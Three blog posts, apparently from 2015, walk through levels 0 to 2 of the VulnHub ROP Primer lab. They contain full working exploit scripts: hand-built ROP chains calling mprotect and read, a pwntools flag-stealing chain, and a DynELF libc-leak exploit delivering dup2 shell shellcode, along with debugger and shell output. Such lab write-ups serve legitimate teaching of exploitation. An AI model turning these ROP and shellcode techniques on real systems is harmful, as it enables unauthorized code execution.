Thursday, August 6, 2015

ROP Primer v0.2 level 2

Last level in the series, and according to the developer this is the hardest one, since we cannot use nul bytes. Meh.
Again we have the source code:

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char **argv, char **argp)
{
  if (argc > 1)
  {
      char name[32];
      printf("[+] ROP tutorial level2\n");
      strcpy(name, argv[1]);
      printf("[+] Bet you can't ROP me this time around, %s!\n", name);
  }
  return 0;
}

So, our ROP chain needs to be in the first argument to the program. Another thing, this binary is statically linked and contains almost everything that the first binary did:

$ file level2 
level2: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.26, BuildID[sha1]=baba7f4fd049424caed048eb73eb6668b45a962e, not stripped
$ readelf -s level2 | wc -l
2059

So this should be pretty easy. Why?
Because we can probably more or less just copy the ROP chain we built for level0. The gadgets will be in new locations but most, if not all, should still be there. These are the gadgets we used in level0:

0x080495f7 : jmp eax
0x0804f9f1 : dec ebx; ret
0x080525c6 : pop edx; ret
0x080525ed : pop ecx; pop ebx; ret
0x08052cf0 : int 0x80; ret
0x08068c63 : inc edx; or al, 0x5d; ret
0x0806a60f : inc eax; ret
0x0806b53e : add eax, ecx; ret
0x0806b893 : pop eax; ret
0x0806bf9c : dec eax; ret
0x08082fd0 : inc ebx; or al, 0xeb; ret
0x08097bff : xor eax, eax; ret
0x08097eda : add ecx, ecx; ret
0x080c8933 : inc ecx; ret

I looked into level2 and this is what I found:

0x08049477 : jmp eax
0x0804f871 : dec ebx; ret
0x08052476 : pop edx; ret
0x0805249d : pop ecx; pop ebx; ret
0x08052ba0 : int 0x80; ret
0x08068973 : inc edx; or al, 0x5d; ret
0x0806a2ef : inc eax; ret
0x0806b21e : add eax, ecx; ret
0x080a81d6 : pop eax; ret
0x080a80c6 : dec eax; ret
0x08082cb0 : inc ebx; or al, 0xeb; ret
0x08097a7f : xor eax, eax; ret
0x08097d5a : add ecx, ecx; ret
0x080c86db : inc ecx; ret

Exactly the same!

So, what to do?

My plan will be to use the same ROP chain as in level0. When it has run it will read shellcode from standard in and hopefully spawn a shell. The ROP chain will be delivered through the first argument.

Lets build the exploit, and remember to turn on ASLR on the VM.

First, how many bytes should we write before controlling eip?

$ gdb -q ./level2
Reading symbols from ./level2...(no debugging symbols found)...done.
(gdb) r $(cyclic 100)
Starting program: /home/robert/code/OnlineWargames/VulnHub/rop-primer-v0.2/level2/level2 $(cyclic 100)
[+] ROP tutorial level2
[+] Bet you can't ROP me this time around, aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa!

Program received signal SIGSEGV, Segmentation fault.
0x6161616c in ?? ()
(gdb) quit
A debugging session is active.

	Inferior 1 [process 5800] will be killed.

Quit anyway? (y or n) y
$ cyclic -l 0x6161616c
44
$ 

44. How nice. Here is our exploit:

#!/usr/bin/env python2

import struct, sys, time

ret_offset = 44
writable = 0x08048000

def rop_chain():
    gadgets = [
        #mprotect(writable, 1024, PROT_READ|PROT_WRITE|PROT_EXEC)
        #Set edx = 7 = PROT_READ|PROT_WRITE|PROT_EXEC
         0x08052476 # pop edx; ret               edx = -1
        ,0xffffffff  # -> edx
        ,0x08068973 # inc edx; or al, 0x5d; ret  edx = 0
        ,0x08068973 # inc edx; or al, 0x5d; ret  edx = 1
        ,0x08068973 # inc edx; or al, 0x5d; ret  edx = 2
        ,0x08068973 # inc edx; or al, 0x5d; ret  edx = 3
        ,0x08068973 # inc edx; or al, 0x5d; ret  edx = 4
        ,0x08068973 # inc edx; or al, 0x5d; ret  edx = 5
        ,0x08068973 # inc edx; or al, 0x5d; ret  edx = 6
        ,0x08068973 # inc edx; or al, 0x5d; ret  edx = 7

        #Set eax=125=SYS_mprotect
        #Set ecx=1024=size
        #Set ebx=writable
        ,0x0805249d # pop ecx; pop ebx; ret   ecx=-1, ebx=writable
        ,0xffffffff  # -> ecx             ecx = -1
        ,writable + 1# -> ebx             ebx = writable + 1
        ,0x0804f871 # dec ebx; ret       ebx = writable

        ,0x080c86db # inc ecx; ret       ecx = 0
        ,0x080c86db # inc ecx; ret       ecx = 1
        ,0x080c86db # inc ecx; ret       ecx = 2
        ,0x08097d5a # add ecx, ecx; ret  ecx = 4
        ,0x08097d5a # add ecx, ecx; ret  ecx = 8
        ,0x08097d5a # add ecx, ecx; ret  ecx = 16
        ,0x08097d5a # add ecx, ecx; ret  ecx = 32
        ,0x08097d5a # add ecx, ecx; ret  ecx = 64
        ,0x08097d5a # add ecx, ecx; ret  ecx = 128

        ,0x08097a7f # xor eax, eax; ret  eax = 0
        ,0x0806b21e # add eax, ecx; ret  eax = 128
        ,0x080a80c6 # dec eax; ret       eax = 127
        ,0x080a80c6 # dec eax; ret       eax = 126
        ,0x080a80c6 # dec eax; ret       eax = 125 = SYS_mprotect

        ,0x08097d5a # add ecx, ecx; ret  ecx = 256
        ,0x08097d5a # add ecx, ecx; ret  ecx = 512
        ,0x08097d5a # add ecx, ecx; ret  ecx = 1024

        #Now we're ready for mprotect
        ,0x08052ba0 # int 0x80; ret    Issue syscall

        #read(0, writable, 0x01010101)
        #eax = 3 = SYS_read, ebx = 0, ecx = writable, edx = 0x01010101

        #Set ecx = writable
        ,0x0805249d # pop ecx; pop ebx; ret          ecx = writable + 1, ebx = -1
        ,writable + 1#-> ecx
        ,0xffffffff  #-> ebx

        #Set ebx = 0, now it is -1
        ,0x08082cb0 # inc ebx; or al, 0xeb; ret      ebx = 0
        
        #Set eax = 3
        ,0x08097a7f # xor eax, eax; ret
        ,0x0806a2ef # inc eax; ret  #eax = 1
        ,0x0806a2ef # inc eax; ret  #eax = 2
        ,0x0806a2ef # inc eax; ret  #eax = 3

        #Set edx = 0x01010101
        ,0x08052476 # pop edx; ret
        ,0x01010101  #-> edx

        #And we're ready for read
        ,0x08052ba0 # int 0x80; ret    Issue syscall

        #Now jump to writable
        ,0x080a81d6 # pop eax; ret
        ,writable + 1# -> eax
        ,0x08049477 # jmp eax  GOTO shellcode!
    ]
    return ''.join(struct.pack('<I', _) for _ in gadgets)

print 'A' * ret_offset + rop_chain()

It's more or less exactly the same as in level2 except it does not contain a shellcode, that should be piped in through standard in. pwntools has a tool called shellcraft which can be used for generating shellcode. I'll generate a shell spawning shellcode, write it to a file and upload it to the VM together with the exploit.


$ shellcraft -f r i386.linux.sh > shellcode
$ scp -P 2222 shellcode level2@localhost:
level2@localhost's password: 
shellcode                    100%   22     0.0KB/s   00:00    
$ scp -P 2222 exploit.py level2@localhost:
level2@localhost's password: 
exploit.py                   100% 3082     3.0KB/s   00:00    
$ ssh -p 2222 level2@localhost
level2@localhost's password: 
Welcome to Ubuntu 14.04.1 LTS (GNU/Linux 3.13.0-32-generic i686)

 * Documentation:  https://help.ubuntu.com/
Last login: Wed Jan 21 01:00:23 2015 from 192.168.56.1
level2@rop:~$ ( cat shellcode && cat ) | ./level2 "$(./exploit.py)"
[+] ROP tutorial level2
[+] Bet you can't ROP me this time around, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAv����s�s�s�s�s�s�s�s�������q�ۆ
                                                                                                                     ۆ
                                                                                                                     ۆ
                                                                                                                     Z}Z}      Z}      Z}      Z}      Z}     z�ƀ
ƀ
ƀ
Z}     Z}      Z}      ������z������v�ց
�w�!
whoami
root
cat flag
flag{to_rop_or_not_to_rop}
Easy money.

Wednesday, August 5, 2015

ROP Primer v0.2 level 1

So, I've pwned level0 the hard way, lets continue on that path and take on level1.

Let's have a quick view:

$ file level1
level1: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.26, BuildID[sha1]=8a2b93e2b54246aa15e8ff2447035e740fb176cb, not stripped
$ checksec level1
[*] '/media/data/code/OnlineWargames/VulnHub/rop-primer-v0.2/level1/level1'
    Arch:          i386-32-little
    RELRO:         No RELRO
    Stack Canary:  No canary found
    NX:            NX enabled
    PIE:           No PIE
$ readelf -s level1 | grep -E '(system)|(mprotect)|(mmap)|(exec)'
$

So, this one is dynamically linked and lacks our favorite functions for getting code execution. Bummer!
Luckily we have an awesome tool at our disposal: pwntools!

The developer of this challenge has hinted that we should just read a flag file, but I want code execution. pwntools makes both these goals easy so let's do both. Get my stuff here. Also, not bypassing ASLR is for n00bz, so enable ASLR! And install pwntools (sudo pip install pwntools).

First read flag!

No wait, first find vulnerability!

We have the C code for the binary which is pretty easy to read. The vulnerability is in the handle_conn function at line 72:

char filename[32], cmd[32];
...
read(fd, &str_filesize, 6);
filesize = atoi(str_filesize);
...
read_bytes = read(fd, filename, filesize);

We control filesize and that read into filename should probably only have read 31 bytes. Lets see how much we should write before hitting the return address. In terminal 1:

$ gdb -q ./level1
Reading symbols from ./level1...(no debugging symbols found)...done.
(gdb) set follow-fork-mode child
(gdb) r
Starting program: /media/data/code/OnlineWargames/VulnHub/rop-primer-v0.2/level1/level1 
[New process 7150]

Program received signal SIGSEGV, Segmentation fault.
[Switching to process 7150]
0x61616171 in ?? ()
(gdb)

...and terminal 2:

$ cyclic 100
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
$ nc localhost 8888
Welcome to 
 XERXES File Storage System
  available commands are:
  store, read, exit.

> store
 Please, how many bytes is your file?

> 101
 Please, send your file:

> aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
   XERXES is pleased to inform you
    that your file was received
        most successfully.
 Please, give a filename:
> aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
^C
$ cyclic -l 0x61616171
64
$

So we need to write 64 chars before overwriting the return address. Luckily for us the vulnerability uses read to fetch our data so there are absolutely no bad characters and we can form the stack exactly as we wish.

Also, both open, read, write and the string "flag" (which is the name of the file) can be found in the binary. The functions are all in the PLT and thus callable just as if they were implemented directly in the binary. We'll also need memset, which is also in the PLT.

$ readelf -s level1 | grep -E '(read)|(write)|(open)|(memset)'
     2: 00000000     0 FUNC    GLOBAL DEFAULT  UND read@GLIBC_2.0 (2)
    11: 00000000     0 FUNC    GLOBAL DEFAULT  UND open@GLIBC_2.0 (2)
    14: 00000000     0 FUNC    GLOBAL DEFAULT  UND write@GLIBC_2.0 (2)
    16: 00000000     0 FUNC    GLOBAL DEFAULT  UND memset@GLIBC_2.0 (2)
    48: 00000000     0 FUNC    GLOBAL DEFAULT  UND read@@GLIBC_2.0
    56: 080488cb    74 FUNC    GLOBAL DEFAULT   14 write_file
    65: 00000000     0 FUNC    GLOBAL DEFAULT  UND open@@GLIBC_2.0
    69: 00000000     0 FUNC    GLOBAL DEFAULT  UND write@@GLIBC_2.0
    72: 00000000     0 FUNC    GLOBAL DEFAULT  UND memset@@GLIBC_2.0
    89: 0804889c    47 FUNC    GLOBAL DEFAULT   14 write_buf

Let's try building a flag stealing exploit.

pwntools is a Python framework that can be used for building exploits and it can be installed through 'pip'. We will be using the remote, ELF and ROP classes in our exploit.

remote is a socket connection and can be used to connect and talk to a listening server. ELF knows how to look up addresses in the binary such as PLT entries and the location of the "flag" string. ROP can build ROP chains using PLT entries.

Actually, let's play around with the ROP class before building our exploit. Say we wanted to do this:

//0x0804a000 is known to be mapped and writable
memset(0x0804a000, 0, 129); //Just to remove crap
open("flag", 0); //This will return file descriptor 3
read(3, 0x0804a000, 128);
write(4, 0x0804a000, 128); //Our socket is file descriptor 4

This is how it could be done:

$ python
Python 2.7.9 (default, Apr  2 2015, 15:33:21) 
[GCC 4.9.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>> e = ELF('level1')
[*] '/vagrant/level1'
    Arch:          i386-32-little
    RELRO:         No RELRO
    Stack Canary:  No canary found
    NX:            NX enabled
    PIE:           No PIE
>>> r = ROP(e)
[*] Loaded cached gadgets for 'level1' @ 0x8048000
>>> r.memset(0x0804a000, 0, 129)
>>> r.open(next(e.search('flag')), 0)
>>> r.read(3, 0x0804a000, 128)
>>> r.write(4, 0x0804a000, 128)
>>> print r.dump()
0x0000:        0x8048720 (memset)
0x0004:        0x8048ef6 (pop esi; pop edi; pop ebp; ret)
0x0008:        0x804a000
0x000c:              0x0
0x0010:             0x81
0x0014:        0x80486d0 (open)
0x0018:        0x8048ef7 (pop edi; pop ebp; ret)
0x001c:        0x8049128
0x0020:              0x0
0x0024:        0x8048640 (read)
0x0028:        0x8048ef6 (pop esi; pop edi; pop ebp; ret)
0x002c:              0x3
0x0030:        0x804a000
0x0034:             0x80
0x0038:        0x8048700 (write)
0x003c:       0xdeadbeef
0x0040:              0x4
0x0044:        0x804a000
0x0048:             0x80
>>>

We simply call the functions we want on the ROP object with the arguments we want and it will find the PLT entry and build a ROP stack for us. Between calls we return to gadgets that remove the arguments from the stack so that we can return to the next call on the list. The last return address is 0xdeadbeef so at that point the binary will segfault unless we end up calling exit. I won't thou, you do it!

The exploit is so embarrassingly simple that I'll show it here:


#!/usr/bin/env python2

import sys
from pwn import *

context(arch = 'i386', os = 'linux')

HOST="localhost"
PORT=8888
#A writable mapped address
WRITABLE = 0x0804a000
#The socket is always file descriptor 4
SOCKET_FD = 4
#The opened file is always file descriptor 3
FILE_FD = 3

elf = ELF('level1')
rop = ROP(elf)
#We don't know how large the file is but probably less than 128 bytes
#so null out 129 bytes
rop.memset(WRITABLE, 0, 129)
#Open the 'flag' file. The string 'flag' can be found in the binary
rop.open(next(elf.search('flag')), 0)
#Read 128 bytes from the file
rop.read(FILE_FD, WRITABLE, 128)
#And write the result on the socket
rop.write(SOCKET_FD, WRITABLE, 128)

#64 chars before overwriting return address
payload = 'A' * 64 + rop.chain()

def pwn(host, port):
    r = remote(host, port)
    r.recvuntil('> ')
    r.send('store\n')
    r.recvuntil('> ')
    r.send('%d\n' % (len(payload) + 1))
    r.recvuntil('> ')
    r.send(payload + '\n')
    r.recvuntil('> ')
    r.send(payload)
    print r.recv().rstrip('\x00')

if len(sys.argv) > 1: HOST = sys.argv[1]
if len(sys.argv) > 2: PORT = int(sys.argv[2])
pwn(HOST, PORT)

Dead simple, right?
Let's see if it works:

$ ./flag_exploit.py 
[*] '/home/robert/code/OnlineWargames/VulnHub/rop-primer-v0.2/level1/level1'
    Arch:          i386-32-little
    RELRO:         No RELRO
    Stack Canary:  No canary found
    NX:            NX enabled
    PIE:           No PIE
[*] Loaded cached gadgets for 'level1' @ 0x8048000
[+] Opening connection to localhost on port 8888: Done
flag{just_one_rop_chain_a_day_keeps_the_doctor_away}

[*] Closed connection to localhost port 8888

Yay!

But we're not happy yet, because we only have a flag, not code execution.
There were no usable functions in the binary and it is not big enough to allow us to build a chain to invoke the syscalls directly. What to do?

It turns out we don't need all that much. We can read more or less anything in the process memory space because we can call write with whatever arguments we want, so with a little ingenuity we can walk the structures that the linker uses to resolve symbols.

That is quite complex but fortunately pwntools has done all the work for us. We need DynELF!

DynELF is another class in pwntools. We pass it an ELF object and a function that given an address will read and return the data at that location and our ROP chain above does more or less just that.

That way we can resolve mprotect and then we can mark a memory segment as read/write/executable and place shellcode there. pwntools also contains a very useful shellcode library so the get_a_shell exploit is also quite simple. Have a look:

#!/usr/bin/env python2

import sys
from pwn import *

context(arch = 'i386', os = 'linux')

HOST="localhost"
PORT=8888
#A writable mapped address
WRITABLE = 0x0804a000
#The socket is always file descriptor 4
SOCKET_FD = 4

def rop_it(host, port, rop):
    '''ROP the host and return the socket'''
    payload = 'A' * 64 + rop.chain()
    r = remote(host, port)
    r.recvuntil('> ')
    r.send('store\n')
    r.recvuntil('> ')
    r.send('%d\n' % (len(payload) + 1))
    r.recvuntil('> ')
    r.send('A' * len(payload) + '\n')
    r.recvuntil('> ')
    r.send(payload)
    return r

def read_it(host, port, elf, addr, size):
    '''read and return the specified number of bytes
       from the specified address at the specified host'''
    rop = ROP(elf)
    rop.write(SOCKET_FD, addr, size)
    r = rop_it(host, port, rop)
    data = r.recv()
    r.close()
    return data

def leak_it(host, port, elf):
    '''return a leak function for the specified host and port'''
    def l(addr):
        return read_it(host, port, elf, addr, 4)
    return l

def pwn(host, port):
    #ELF object can find gadgets and useful PLT entries
    elf = ELF('level1')
    #DynELF knows how to resolve functions using an infoleak vuln
    dyn = DynELF(leak_it(host, port, elf), elf = elf)
    #..so let's use it to find 'mprotect' from 'libc'
    mprotect = dyn.lookup('mprotect', 'libc')
    #Have a shellcode that dup2 the socket and spawns a shell
    shellcode = asm(shellcraft.dupsh(SOCKET_FD))
    #Create a ROP object for calling this chain:
    #mprotect(0x0804a000, len(shellcode), PROT_READ | PROT_WRITE | PROT_EXEC)
    #read(4, 0x0804a000, len(shellcode)
    #((void(*)())0x0804a000)()
    rop = ROP(elf)
    rop.call(mprotect, (WRITABLE, len(shellcode), 7))
    rop.read(SOCKET_FD, WRITABLE, len(shellcode))
    rop.call(WRITABLE)
    #Send ROP
    r = rop_it(host, port, rop)
    #ROP requests our shellcode, so send it
    r.send(shellcode)
    #Go interactive
    r.interactive()


if len(sys.argv) > 1: HOST = sys.argv[1]
if len(sys.argv) > 2: PORT = int(sys.argv[2])
pwn(HOST, PORT)

Easy, right? But does it work?
Let's find out:

$ ./shell_exploit.py 
[*] '/home/robert/code/OnlineWargames/VulnHub/rop-primer-v0.2/level1/level1'
    Arch:          i386-32-little
    RELRO:         No RELRO
    Stack Canary:  No canary found
    NX:            NX enabled
    PIE:           No PIE
[*] Loaded cached gadgets for 'level1' @ 0x8048000
[+] Opening connection to localhost on port 8888: Done
[*] Closed connection to localhost port 8888
[+] Loading from '/home/robert/code/OnlineWargames/VulnHub/rop-primer-v0.2/level1/level1': 0xb7fff938
[+] Opening connection to localhost on port 8888: Done
[*] Closed connection to localhost port 8888
[+] Resolving 'mprotect' in 'libc.so': 0xb7fff938
[+] Opening connection to localhost on port 8888: Done
[*] Closed connection to localhost port 8888
[+] Opening connection to localhost on port 8888: Done
[*] Closed connection to localhost port 8888
...
...
[*] Closed connection to localhost port 8888
[+] Opening connection to localhost on port 8888: Done
[*] Switching to interactive mode
$ whoami
level2
$ ls
bleh
flag
level1
$ cat flag
flag{just_one_rop_chain_a_day_keeps_the_doctor_away}
$ 
[*] Interrupted
[*] Closed connection to localhost port 8888

Of course it does!

Each time DynELF looks up a new address we have to open a new connection so we get lots of output but in the end we get an interactive shell.

Tuesday, August 4, 2015

ROP Primer v0.2 level 0

Two years without a post. Nice!

I've been playing with a ROP challenge so I thought I would do a writeup. That's what all the cool kids do these days.

Find it here. And find an archive containing the binary, my exploit and some other stuff here.

This post will be about the 'level0' binary so check it out.

First I do a quick check to find out what I'm looking at:


$ file level0
level0: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.26, BuildID[sha1]=fb91c352b4d0f9680d22497e348340fe88d0fdf8, not stripped
$ checksec level0
[*] '/media/data/VirtualBox VMs/rop-primer-v0.2/level0/level0'
    Arch:          i386-32-little
    RELRO:         No RELRO
    Stack Canary:  No canary found
    NX:            NX enabled
    PIE:           No PIE
$ readelf -s level0 | wc -l
2064
$ readelf -s level0 | grep -E '(system)|(mprotect)'
   482: 080b16e0    62 OBJECT  LOCAL  DEFAULT    7 system_dirs
   483: 080b1720    16 OBJECT  LOCAL  DEFAULT    7 system_dirs_len
  1076: 080523e0    33 FUNC    GLOBAL DEFAULT    4 __mprotect
  1981: 080523e0    33 FUNC    WEAK   DEFAULT    4 mprotect

So, the binary is statically linked and as it turns out contains a whole lot of stuff that we can simply return to. But that's easy and thus boring, so we'll build a real ROP chain and use actual syscalls. And bypass ASLR, and not have nul bytes why not?

I started by uploading the binary to ropshell.com which in turn gave me a nice list of gadgets. Well, not entirely nice. The list contained offsets rather than addresses. The binary is not position independent, so I would really prefer addresses, so I hacked up this small utility to convert the list:


#!/usr/bin/env python2

import re, fileinput

regex = re.compile('^0x([0-9a-f]{8})( : .*)$')

for line in fileinput.input():
    line = line.rstrip()
    m = regex.match(line)
    if m:
        addr = int(m.group(1), 16) + 0x08048000
        print '0x%08x%s' % (addr, m.group(2))
    else:
        print line

The resulting list is in the archive. The following is a list of all the gadgets I ended up needing:

0x080488d9 : dec ecx; ret
0x080495f7 : jmp eax
0x0804f9f1 : dec ebx; ret
0x080525c6 : pop edx; ret
0x080525ed : pop ecx; pop ebx; ret
0x08052cf0 : int 0x80; ret
0x08068c63 : inc edx; or al, 0x5d; ret
0x0806a60f : inc eax; ret
0x0806b53e : add eax, ecx; ret
0x0806b893 : pop eax; ret
0x0806bf9c : dec eax; ret
0x08082fd0 : inc ebx; or al, 0xeb; ret
0x08097bff : xor eax, eax; ret
0x08097eda : add ecx, ecx; ret
0x080c8933 : inc ecx; ret

As is pretty usual some of these gadgets mess up each other while others accomplish multiple tasks, so nothing new here.

My plan is to execute something similar to this:

mprotect(0x0804a000, 1024, PROT_READ | PROT_WRITE | PROT_EXEC);
read(0, 0x0804a000, 0x01010101);
((void(*)())0x0804a000)();

The 0x0804a000 address is known to be mapped, as this is where the main binary is mapped.

Syscall number goes in eax and arguments go in ebx, ecx and edx respectively.

First we'll execute the mprotect syscall so we put PROT_READ | PROT_WRITE | PROT_EXEC into edx.

0x080525c6  # pop edx; ret               edx = -1
0xffffffff  # -> edx
0x08068c63  # inc edx; or al, 0x5d; ret  edx = 0
0x08068c63  # inc edx; or al, 0x5d; ret  edx = 1
0x08068c63  # inc edx; or al, 0x5d; ret  edx = 2
0x08068c63  # inc edx; or al, 0x5d; ret  edx = 3
0x08068c63  # inc edx; or al, 0x5d; ret  edx = 4
0x08068c63  # inc edx; or al, 0x5d; ret  edx = 5
0x08068c63  # inc edx; or al, 0x5d; ret  edx = 6
0x08068c63  # inc edx; or al, 0x5d; ret  edx = 7

Easy!

Next we'll put 125 (SYS_mprotect) into eax, 1024 into ecx and the writable address 0x0804a000 into edx.

0x080525ed  # pop ecx; pop ebx; ret   ecx=-1, ebx=writable
0xffffffff  # -> ecx             ecx = -1
0x0804a001  # -> ebx             ebx = writable + 1
0x0804f9f1  # dec ebx; ret       ebx = writable

0x080c8933  # inc ecx; ret       ecx = 0
0x080c8933  # inc ecx; ret       ecx = 1
0x080c8933  # inc ecx; ret       ecx = 2
0x08097eda  # add ecx, ecx; ret  ecx = 4
0x08097eda  # add ecx, ecx; ret  ecx = 8
0x08097eda  # add ecx, ecx; ret  ecx = 16
0x08097eda  # add ecx, ecx; ret  ecx = 32
0x08097eda  # add ecx, ecx; ret  ecx = 64
0x08097eda  # add ecx, ecx; ret  ecx = 128

0x08097bff  # xor eax, eax; ret  eax = 0
0x0806b53e  # add eax, ecx; ret  eax = 128
0x0806bf9c  # dec eax; ret       eax = 127
0x0806bf9c  # dec eax; ret       eax = 126
0x0806bf9c  # dec eax; ret       eax = 125 = SYS_mprotect

0x08097eda  # add ecx, ecx; ret  ecx = 256
0x08097eda  # add ecx, ecx; ret  ecx = 512
0x08097eda  # add ecx, ecx; ret  ecx = 1024

#Now we're ready for mprotect
0x08052cf0  # int 0x80; ret    Issue syscall

Also pretty easy. The first block initialized ebx to the writable address which must be on a page boundary. Also ecx was initialized to -1.

The next block incremented ecx to contain the value 128 which in the next block is copied to eax which is then decremented to 125 which is the syscall number of mprotect.

Then I continue incrementing ecx to contain the number 1024 which will be the size of the executable segment for our shellcode. So our shellcode can be 1024 bytes long which should be enough, but add or remove some of those add ecx, ecx gadgets if you need more or less space.

So now we have writable and executable memory. Let's put some shellcode there and jump to it. We'll do the read call next. First we put the writable address into ecx and initialize ebx to zero (which is standard in file descriptor):

0x080525ed  # pop ecx; pop ebx; ret          ecx = writable + 1, ebx = -1
0x0804a001  #-> ecx
0xffffffff  #-> ebx
0x080488d9  # dec ecx; ret                   ecx = writable
0x08082fd0  # inc ebx; or al, 0xeb; ret      ebx = 0

Next we put syscall number 3 (SYS_read) into eax and a large value (0x01010101) into edx and we're good to go on the read call:

#Set eax = 3
0x08097bff # xor eax, eax; ret
0x0806a60f # inc eax; ret  #eax = 1
0x0806a60f # inc eax; ret  #eax = 2
0x0806a60f # inc eax; ret  #eax = 3

#Set edx = 0x01010101
0x080525c6  # pop edx; ret
0x01010101  #-> edx

#And we're ready for read
0x08052cf0  # int 0x80; ret    Issue syscall

Finally we jump to the code:

0x0806b893  # pop eax; ret   # eax = 0x0804a001
0x0804a001  # -> eax
0x0806bf9c  # dec eax; ret   # eax = 0x0804a000
0x080495f7  # jmp eax  GOTO shellcode!

And we'll see if it works:

level0@rop:~$ (./exploit.py && cat -) | ./level0
[+] ROP tutorial level0
[+] What's your name? [+] Bet you can't ROP me, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA����� �
                                                                                                  ��3�
                                                                                                     3�
                                                                                                      3�
                                                                                                       �~      �~      �~      �~      �~      �~      �{      >��������~      �~      �~   �����c�c�c�c�c�c�c�c��� �
                      ����و�{  ����    ��� �
                                           ����!
ls
flag  level0  exploit.py
cat flag
flag{rop_the_night_away}

Excellent!
We could shave off some gadgets by only marking 128 bytes executable since our shellcode is 22 bytes long.
Why not mark only 32 then? Because we needed the number 125 in eax and that number came from ecx.

Also, we could read to 0x0804a001 and save two more gadgets for decrementing registers but that would make the code less readable in my opinion, but do try that.

Hope you enjoyed this post.